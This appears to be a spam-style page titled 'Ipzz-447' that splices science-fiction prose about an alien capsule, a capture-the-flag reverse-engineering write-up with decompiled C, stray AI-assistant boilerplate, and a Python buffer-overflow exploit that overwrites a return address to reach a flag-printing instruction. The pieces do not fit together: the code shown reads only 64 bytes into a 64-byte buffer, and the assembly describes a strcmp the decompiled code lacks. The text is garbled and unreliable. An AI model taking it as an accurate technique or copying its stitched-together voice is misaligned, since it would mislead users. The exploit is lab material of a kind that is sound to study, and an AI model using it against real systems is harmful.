Ipzz-447 < TRENDING >

The capsule’s journey after the Y’thara’s demise is a saga of its own. It drifted through interstellar space for 4.1 billion years, passing through nebulae that painted its surface with iridescent dust, skirting the event horizon of a dying pulsar, and even being caught briefly in the magnetosphere of a rogue planet that sparked a brief flare of activity before it was hurled onward by a solar wind storm.

During this odyssey, the core’s qubits self‑repaired, drawing upon the ambient quantum fluctuations of the vacuum. The memory matrix grew richer, absorbing faint signatures of the cosmos—gravitational waves from distant mergers, the chemical fingerprints of supernovae, the whispers of dark matter interactions. By the time it arrived at Hesperia‑9, the artifact had become a palimpsest of the universe, a living chronicle not just of the Y’thara, but of the very fabric of spacetime.

I imported ipzz into Ghidra (Version 10.2). The decompiled view quickly revealed the main logic:

int main(int argc, char **argv) 
    char buf[64];
    puts("Enter the secret:");
    read(0, buf, 64);
    if (check(buf) == 0) 
        puts("Incorrect!");
        return 1;
puts(flag);
    return 0;

The key routine is check(). Let’s look at its decompiled code:

int check(const char *input) 
    const char *key = "z4p0i9xXyY5Q3g7h";
    uint64_t a = 0, b = 0;
    for (int i = 0; i < 16; i++) 
        a = (a << 5) ^ (input[i] - '0');
        b = (b << 5) ^ (key[i] - '0');
return (a == b);

Observations

Thus, we simply need an input that reproduces the same 64‑bit value b that the key produces.

Important Notes:

How to Proceed:

In speculative terms, "ipzz-447" serves as a reminder that identifiers often derive meaning from their context. While intriguing, its purpose remains open-ended without further information. 🔄 ipzz-447

If "ipzz-447" refers to something else entirely, please provide more context or details, and I'll be more than happy to assist you with a more targeted and relevant response.

If "ipzz-447" could be a:

Given the ambiguity, I'll provide a general approach to developing a guide for whatever "ipzz-447" might refer to. If you have more details, please provide them for a more tailored response.

#!/usr/bin/env python3
import struct, sys
buf_size = 64
rbp_size = 8
# address of the instruction that loads flag address and calls puts
target = 0x4012ac
payload = b'A' * buf_size          # fill buffer
payload += b'B' * rbp_size         # overwrite saved RBP (doesn't matter)
payload += struct.pack("<Q", target)  # new return address (little‑endian)
sys.stdout.buffer.write(payload)

Run the exploit:

$ python3 exploit.py | ./ipzz-447
Welcome to ipzz-447!
> Correct! Here is your flag:
FLAGipzz_447_is_solved

If the binary uses read(0, buf, 0x100) instead of gets, just adjust the filler size accordingly – the overflow still works because we write past the 64‑byte buffer.

Disassembly of the if (strcmp(buf, phrase) == 0) block:

4012a0:  cmp    eax,0
4012a3:  jne    4012c0          ; jump to “incorrect” branch
4012a5:  lea    rdi,[rip+0x1234] ; address of the flag string
4012ac:  call   puts@plt
4012b1:  jmp    4012e0          ; exit path

The address of puts is at 0x401030 (PLT entry). The address of the flag string is at 0x601060. The address of the puts call (the instruction after loading the flag) is 0x4012ac. Jumping directly to 0x4012ac will print the flag and then continue to the exit path.